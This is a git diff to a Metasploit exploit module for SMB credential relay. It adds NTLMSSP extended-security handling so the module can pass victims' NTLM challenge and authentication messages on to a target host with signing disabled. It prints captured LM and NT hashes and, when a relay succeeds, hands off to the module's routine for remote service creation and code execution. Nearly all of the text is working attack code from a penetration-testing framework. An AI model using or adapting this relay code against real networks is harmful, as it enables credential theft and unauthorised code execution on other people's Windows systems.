diff --git a/modules/exploits/windows/smb/smb_relay.rb b/modules/exploits/windows/smb/smb_relay.rb index 7771a41bd2..fefa197c31 100644 --- a/modules/exploits/windows/smb/smb_relay.rb +++ b/modules/exploits/windows/smb/smb_relay.rb @@ -58,7 +58,8 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'hdm' + 'hdm', # All the work + 'juan vazquez' # Add NTLMSSP support to the exploit ], 'License' => MSF_LICENSE, 'Privileged' => true, @@ -111,7 +112,7 @@ class Metasploit3 < Msf::Exploit::Remote return end - if (not rclient.client.auth_user) + unless smb[:ntlmssp] || rclient.client.auth_user print_line(" ") print_error( "FAILED! The remote host has only provided us with Guest privileges. " + @@ -124,7 +125,7 @@ class Metasploit3 < Msf::Exploit::Remote end print_status("Connecting to the defined share...") - rclient.connect(datastore['SHARE']) + rclient.connect("\\\\#{smb[:rhost]}\\#{datastore['SHARE']}") @pwned[smb[:rhost]] = true @@ -155,10 +156,10 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Created \\#{filename}...") # Disconnect from the SHARE - rclient.disconnect(datastore['SHARE']) + rclient.disconnect("\\\\#{smb[:rhost]}\\#{datastore['SHARE']}") print_status("Connecting to the Service Control Manager...") - rclient.connect("IPC$") + rclient.connect("\\\\#{smb[:rhost]}\\IPC$") dcerpc = smb_dcerpc(c, '367abb81-9844-35f1-ad32-98f038001003', '2.0', "\\svcctl") @@ -291,10 +292,10 @@ class Metasploit3 < Msf::Exploit::Remote print_error("Error: #{e}") end - rclient.disconnect("IPC$") + rclient.disconnect("\\\\#{smb[:rhost]}\\IPC$") print_status("Deleting \\#{filename}...") - rclient.connect(datastore['SHARE']) + rclient.connect("\\\\#{smb[:rhost]}\\#{datastore['SHARE']}") rclient.delete("\\#{filename}") end @@ -353,6 +354,9 @@ class Metasploit3 < Msf::Exploit::Remote # Record the remote process ID smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID'] + flags2 = pkt['Payload']['SMB'].v['Flags2'] + extended_security = (flags2 & 0x800 == 0x800) + group = '' machine = smb[:nbsrc] @@ -363,13 +367,64 @@ class Metasploit3 < Msf::Exploit::Remote dialects.index("NT LM 0.12") || dialects.length-1 - # Dialect selected, now we try to the target system target_host = datastore['SMBHOST'] if (not target_host or target_host.strip.length == 0) target_host = smb[:ip] end + # If extended security isn't supported or we're trying reflection + # ntlmv1 should be used, otherwise, use ntlmssp + if extended_security && target_host != smb[:ip] + smb[:ntlmssp] = true + negotiate_ntlmssp(smb, target_host) + else + smb[:ntlmssp] = false + negotiate_ntlmv1(smb, target_host) + end + + rclient = smb[:rclient] + + # Negotiation has failed, just return + unless rclient && rclient.client + return + end + + pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct + smb_set_defaults(c, pkt) + time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i) + + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE + pkt['Payload']['SMB'].v['Flags1'] = 0x88 + pkt['Payload']['SMB'].v['Flags2'] = smb[:ntlmssp] ? 0xc801 : 0xc001 + pkt['Payload']['SMB'].v['WordCount'] = 17 + pkt['Payload'].v['Dialect'] = dialect + pkt['Payload'].v['SecurityMode'] = 3 + pkt['Payload'].v['MaxMPX'] = 2 + pkt['Payload'].v['MaxVCS'] = 1 + pkt['Payload'].v['MaxBuff'] = 4356 + pkt['Payload'].v['MaxRaw'] = 65536 + pkt['Payload'].v['Capabilities'] = smb[:ntlmssp] ? 0x8000e3fd : 0xe3fd + pkt['Payload'].v['ServerTime'] = time_lo + pkt['Payload'].v['ServerDate'] = time_hi + pkt['Payload'].v['Timezone'] = 0x0 + pkt['Payload'].v['SessionKey'] = 0 + if smb[:ntlmssp] + pkt['Payload'].v['KeyLength'] = 0 + pkt['Payload'].v['Payload'] = + "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" + # Server GUID + Rex::Proto::NTLM::Utils.make_simple_negotiate_secblob_resp + else + pkt['Payload'].v['KeyLength'] = 8 + pkt['Payload'].v['Payload'] = + rclient.client.challenge_key + + Rex::Text.to_unicode(group) + "\x00\x00" + + Rex::Text.to_unicode(machine) + "\x00\x00" + end + c.put(pkt.to_s) + end + + def negotiate_ntlmv1(smb, target_host) rsock = nil rport = nil [445, 139].each do |rport_| @@ -382,7 +437,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Context' => { 'Msf' => framework, - 'MsfExploit' => self, + 'MsfExploit' => self } ) break if rsock @@ -393,7 +448,7 @@ class Metasploit3 < Msf::Exploit::Remote end end - if(not rsock) + unless rsock print_error("Could not connect to the target host (#{target_host}), the target may be firewalled.") return end @@ -409,12 +464,61 @@ class Metasploit3 < Msf::Exploit::Remote raise e end - if (not rclient.client.challenge_key) + unless rclient.client.challenge_key print_error("No challenge key received from #{smb[:ip]}:#{rport}") rsock.close return end + if smb[:rsock] + smb[:rsock].close + end + + smb[:rsock] = rsock + smb[:rclient] = rclient + smb[:rhost] = target_host + end + + def negotiate_ntlmssp(smb, target_host) + rsock = nil + rport = 445 + + begin + rsock = Rex::Socket::Tcp.create( + 'PeerHost' => target_host, + 'PeerPort' => rport, + 'Timeout' => 3, + 'Context' => + { + 'Msf' => framework, + 'MsfExploit' => self + } + ) + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("Error connecting to #{target_host}:#{rport} #{e.class} #{e}") + end + + unless rsock + print_error("Could not connect to the target host (#{target_host}), the target may be firewalled.") + return + end + + rclient = Rex::Proto::SMB::SimpleClient.new(rsock, true) + + rclient.client.negotiate(true) # extended security true + + unless rclient.client.server_guid + print_error("The NTLMSSP negotation didn't provide the server guid from #{smb[:ip]}:#{rport}") + rsock.close + return + end + + # If in the answer the Extended Security Negotiation (Flags2) is set + # we need to proceed like that! + rclient.client.require_signing = false + if (smb[:rsock]) smb[:rsock].close end @@ -422,40 +526,27 @@ class Metasploit3 < Msf::Exploit::Remote smb[:rsock] = rsock smb[:rclient] = rclient smb[:rhost] = target_host - - pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct - smb_set_defaults(c, pkt) - - time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i) - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = 0xc001 - pkt['Payload']['SMB'].v['WordCount'] = 17 - pkt['Payload'].v['Dialect'] = dialect - pkt['Payload'].v['SecurityMode'] = 3 - pkt['Payload'].v['MaxMPX'] = 2 - pkt['Payload'].v['MaxVCS'] = 1 - pkt['Payload'].v['MaxBuff'] = 4356 - pkt['Payload'].v['MaxRaw'] = 65536 - pkt['Payload'].v['Capabilities'] = 0xe3fd # 0x80000000 for extended - pkt['Payload'].v['ServerTime'] = time_lo - pkt['Payload'].v['ServerDate'] = time_hi - pkt['Payload'].v['Timezone'] = 0x0 - - - pkt['Payload'].v['SessionKey'] = 0 - pkt['Payload'].v['KeyLength'] = 8 - - pkt['Payload'].v['Payload'] = - rclient.client.challenge_key + - Rex::Text.to_unicode(group) + "\x00\x00" + - Rex::Text.to_unicode(machine) + "\x00\x00" - - c.put(pkt.to_s) end def smb_cmd_session_setup(c, buff) + smb = @state[c] + if smb[:ntlmssp] + pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct + else + pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct + end + pkt.from_s(buff) + + capabilities = pkt['Payload'].v['Capabilities'] + extended_security = (capabilities & 0x80000000 == 0x80000000) + if extended_security + smb_cmd_session_setup_ntlmssp(c, buff) + else + smb_cmd_session_setup_ntlmv1(c, buff) + end + end + + def smb_cmd_session_setup_ntlmv1(c, buff) smb = @state[c] pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct pkt.from_s(buff) @@ -492,8 +583,8 @@ class Metasploit3 < Msf::Exploit::Remote print_status( "Received #{smb[:name]} #{smb[:domain]}\\#{smb[:username]} " + - "LMHASH:#{lm_hash ? lm_hash : ""} NTHASH:#{nt_hash ? nt_hash : ""} " + - "OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}" + "LMHASH:#{lm_hash ? lm_hash : ""} NTHASH:#{nt_hash ? nt_hash : ""} " + + "OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}" ) if (lm_hash == "" or lm_hash == "00") @@ -519,7 +610,7 @@ class Metasploit3 < Msf::Exploit::Remote rescue XCEPT::LoginError end - if (res) + if res print_status("AUTHENTICATED as #{smb[:domain]}\\#{smb[:username]}...") smb_haxor(c) else @@ -539,4 +630,128 @@ class Metasploit3 < Msf::Exploit::Remote c.put(pkt.to_s) end + def smb_cmd_session_setup_ntlmssp(c, buff) + smb = @state[c] + buff_copy = buff.dup + pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct + pkt.from_s(buff_copy) + + blob_length = pkt['Payload'].v['SecurityBlobLen'] + blob = pkt['Payload'].v['Payload'][0, blob_length] + + #detect if GSS is being used I need to fix this code.... but + if blob[0,7] == 'NTLMSSP' + c_gss = false + else + c_gss = true + start = blob.index('NTLMSSP') + if start + blob.slice!(0,start) + else + print_status("SMB Capture - Error finding NTLMSSP in SMB_COM_SESSION_SETUP_ANDX request from #{smb[:name]} - #{smb[:ip]}, ignoring ...") + smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) + return + end + end + ntlm_message = NTLM_MESSAGE::parse(blob) + + case ntlm_message + when NTLM_MESSAGE::Type1 + smb_cmd_ntlmssp_negotiate(c, buff) + when NTLM_MESSAGE::Type3 + smb_cmd_ntlmssp_auth(c, buff) + else + smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) + return + end + end + + def smb_cmd_ntlmssp_negotiate(c, buff) + smb = @state[c] + pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct + pkt.from_s(buff) + + smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID'] + smb[:user_id] = pkt['Payload']['SMB'].v['UserID'] + smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID'] + smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] + + security_blob_length = pkt['Payload'].v['SecurityBlobLen'] + security_blob = pkt['Payload'].v['Payload'][0, security_blob_length] + + print_status("Sending NTLMSSP NEGOTIATE to #{smb[:rhost]}") + rclient = smb[:rclient] + + rclient.client.session_setup_with_ntlmssp_blob(security_blob, false) + + print_status("Extracting NTLMSSP CHALLENGE from #{smb[:rhost]}") + resp = rclient.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true) + + rclient.client.auth_user_id = resp['Payload']['SMB'].v['UserID'] + + security_blob_length = resp['Payload'].v['SecurityBlobLen'] + security_blob = resp['Payload'].v['Payload'][0, security_blob_length] + + print_status("Forwarding the NTLMSSP CHALLENGE to #{smb[:name]}") + challenge = CONST::SMB_SETUP_NTLMV2_RES_PKT.make_struct + smb_set_defaults(c, challenge) + + native_data = '' + native_data << "Unix\x00" #Native OS + native_data << "Samba\x00" #Native LanMAN + + challenge['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX + challenge['Payload']['SMB'].v['ErrorClass'] = CONST::SMB_STATUS_MORE_PROCESSING_REQUIRED + challenge['Payload']['SMB'].v['Flags1'] = 0x80 + challenge['Payload']['SMB'].v['Flags2'] = 0xc801 # no signing + challenge['Payload']['SMB'].v['WordCount'] = 4 + challenge['Payload'].v['AndX'] = 0xFF + challenge['Payload'].v['Reserved1'] = 0x00 + challenge['Payload'].v['AndXOffset'] = 0 + challenge['Payload'].v['Action'] = 0x0000 + challenge['Payload'].v['SecurityBlobLen'] = security_blob_length + challenge['Payload'].v['Payload'] = security_blob + native_data + c.put(challenge.to_s) + end + + def smb_cmd_ntlmssp_auth(c, buff) + smb = @state[c] + pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct + pkt.from_s(buff) + + smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID'] + smb[:user_id] = pkt['Payload']['SMB'].v['UserID'] + smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID'] + smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] + + print_status("Extracting the NTLMSSP AUTH resolution from #{smb[:name]}, and sending Logon Failure response") + + security_blob_length = pkt['Payload'].v['SecurityBlobLen'] + security_blob = pkt['Payload'].v['Payload'][0, security_blob_length] + + smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) + + print_status("Forwarding the NTLMSSP AUTH resolution to #{smb[:rhost]}") + rclient = smb[:rclient] + + rclient.client.session_setup_with_ntlmssp_blob( + security_blob, + false, + rclient.client.auth_user_id + ) + resp = rclient.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true) + + #check if auth was successful + if (resp['Payload']['SMB'].v['ErrorClass'] == 0) + print_good("SMB auth relay against #{smb[:rhost]} succeeded") + smb_haxor(c) + else + failure = Rex::Proto::SMB::Exceptions::ErrorCode.new + failure.word_count = resp['Payload']['SMB'].v['WordCount'] + failure.command = resp['Payload']['SMB'].v['Command'] + failure.error_code = resp['Payload']['SMB'].v['ErrorClass'] + raise failure + end + end + end